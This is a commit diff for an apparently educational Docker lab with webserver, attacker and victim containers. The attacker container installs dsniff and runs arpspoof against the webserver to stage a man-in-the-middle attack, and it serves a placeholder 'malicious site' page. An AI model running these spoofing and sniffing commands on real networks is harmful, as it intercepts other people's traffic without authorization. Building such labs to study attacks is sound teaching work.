Compare commits
2 commits
0fa3c7715b
...
906a9ecb61
Author | SHA1 | Date | |
---|---|---|---|
![]() |
906a9ecb61 | ||
![]() |
86e69f5992 |
5 changed files with 40 additions and 7 deletions
|
@ -3,8 +3,8 @@ WORKDIR /app
|
|||
COPY react-page .
|
||||
RUN npm i && npm run build
|
||||
|
||||
FROM debian:stable-slim
|
||||
RUN apt-get update && apt-get install -y apache2 openssl ca-certificates \
|
||||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y apache2 openssl ca-certificates net-tools\
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& a2enmod ssl && a2ensite default-ssl
|
||||
COPY 000-default.conf /etc/apache2/sites-available/000-default.conf
|
||||
|
|
|
@ -1,7 +1,15 @@
|
|||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y dsniff \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
FROM debian
|
||||
|
||||
|
||||
COPY ./ip_forward /usr/local/bin/ip_forward
|
||||
# CMD ["curl", "--insecure", "https://webserver/"]
|
||||
CMD ["dsniff", "-i", "eth0", "-w", "/tmp/dsniff.out"]
|
||||
COPY ./index1.html /var/www/html/
|
||||
|
||||
|
||||
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& apache2ctl start
|
||||
|
||||
|
||||
|
||||
|
||||
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]
|
11
apache/attacker/index1.html
Normal file
11
apache/attacker/index1.html
Normal file
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Page internet</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Site malveillant</h1>
|
||||
</body>
|
||||
</html>
|
|
@ -18,6 +18,15 @@ services:
|
|||
privileged: true
|
||||
depends_on:
|
||||
- webserver
|
||||
victim:
|
||||
build: docker/victim
|
||||
container_name: victim
|
||||
networks:
|
||||
- mynetwork
|
||||
depends_on:
|
||||
- webserver
|
||||
- attacker
|
||||
stdin_open: true
|
||||
|
||||
networks:
|
||||
mynetwork:
|
||||
|
|
5
apache/victim/dockerfile
Normal file
5
apache/victim/dockerfile
Normal file
|
@ -0,0 +1,5 @@
|
|||
FROM debian:bookworm-slim
|
||||
RUN apt-get update && apt-get install -y curl python3 python3-pip \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue